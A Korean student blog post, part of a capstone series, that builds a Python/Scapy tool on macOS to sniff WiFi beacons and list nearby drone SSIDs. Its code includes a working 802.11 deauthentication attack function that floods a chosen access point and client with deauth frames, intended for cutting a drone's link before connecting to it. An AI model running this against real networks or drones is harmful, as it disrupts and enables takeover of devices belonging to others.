8. Drone 탐색(WIFI  Sniffing)

Peroro·2023년 5월 7일

캡스톤

목록 보기
8/10

서론

드론 접속을 위해서 코드를 작성했다. 우선 해당 함수(connectDrone)은 세 가지 파트로 나뉜다.

  • 드론 탐색(findDrone): 접속하고자 하는 드론을 탐색하고 선택하는 함수이다.
  • Deauth 공격(Deauth): 선택한 드론에 인증해제 공격이다.
  • 드론 접속(ConnectWIFI): 선택한 드론에 접속한다.

우선 이번주 개발은 드론 탐색에 맞춰서 개발했다.

드론 탐색(findDrone)

MAC OS X의 경우 무선랜을 monitor 모드로 바꾸려면 airport를 사용해야 한다. 아마도 대부분의 MAC에는 깔려있어서 따로 설치해야하는 수고는 들여도 되지 않지만, 편리성은 다른 프로그램에 비교하면 조금 귀찮다.(자료도 생각보다 없고)

  • 우선 airport symbolic link를 만들어 command line에서 사용하자.
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

코드

from scapy.all import *
from scapy.layers.l2 import Ether, ARP
from pymavlink import mavutil
import keyboard
import os
from time import sleep
import threading
import signal
import subprocess

conf.use_pcap = True

AP = []
SSIDlist = []

def PrintList():#SSID 출력
    for i in SSIDlist:
        print(i);

#드론 탐색

def ssid_finder(pkt):
    if pkt.haslayer(Dot11Beacon):
        ssid = pkt[Dot11Elt].info
        if ssid and not ({ssid.decode()} in SSIDlist):
            print(f"SSID: {ssid.decode()}")
            AP.append(ssid)
            SSIDlist.append({ssid.decode()})
# AP에 대해서 수정필요.

def start_airport():
    global airport_process
    airport_process = subprocess.Popen(['sudo', 'airport', 'en0', 'sniff', '149'], preexec_fn=os.setsid)

def stop_airport():
    global airport_process
    os.killpg(os.getpgid(airport_process.pid), signal.SIGTERM)
    print('airport is stopped!')

def sniff_packets():
    packet = sniff(iface="en0", prn=ssid_finder, monitor=True, timeout=10)
    print(str(packet))

def findDrone():
    airport_thread = threading.Thread(target=start_airport)
    airport_thread.start()
    sleep(1.5)
    sniff_thread = threading.Thread(target=sniff_packets)
    sniff_thread.start()

    sniff_thread.join()  # Wait for the sniff_thread to finish
    stop_airport()  # Stop the airport command

    airport_thread.join()  # Wait for the airport_thread to finish

    sel = int(input('Select number to connect a Drone!'))
    return sel

# Deauth 공격

def Deauth(ap, client):
    pkt = RadioTap()/Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
    sendp(pkt, iface = "en0", iter=0.100, loop=1)
    
#드론 접속

#def connectWIFI():

def connectDrone():#WIFI connect
    sel = findDrone()
    #ans = input('Do you want Deauth attack?(y/n)')
    #if ans == 'y':
    #   Deauth(sel)
    #connectWIFI(sel)

함수

  • start_airport에서는 airport를 시작하는 함수이다. subprocess를 통해서 실행시켜야하는데, 이때 preexec_fn=os.setsid 이 옵션을 넣어야 한다. airport의 경우 process가 여러개 있는 process group인데, 이를 종료하기 위해서는 PGID(Process Group ID)를 받아야 한다.
  • 따라서 start_airport() 함수에서 subprocess.Popen() 함수의 preexec_fn 매개변수를 os.setsid 함수로 설정하여 새로운 프로세스 그룹을 생성하고, stop_airport() 함수에서 os.killpg() 함수를 사용하여 프로세스 그룹 ID를 이용해 airport 명령어로 생성된 모든 프로세스를 종료해야 한다.
  • sniff_packet은 패킷을 엿듣는 함수로, 패킷이 캡쳐될 때마다 prn에 들어가는 콜백함수인 ssid_finder를 실행한다. AP의 MAC Address를 가져오는 수정이 좀더 필요할 것 같다. 'monitor = true' 옵션이 있어야 airport가 실행중일 때 WIFI 패킷을 엿들을 수 있다.
  • findDrone에서는 start_airport를 스레드로 실행을 하고, 1.5초 쉬었다가 sniff_packet 함수를 실행한다. 시간 차를 둔 이유는 바로 실행되면 sniff_packet이 패킷을 못잡았다. 이후 종료를 하고, 이용자가 출력된 AP를 보고 번호를 입력하게 될건데 이때, 입력받은 번호를 리턴하게 된다.

결과물

profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/

0개의 댓글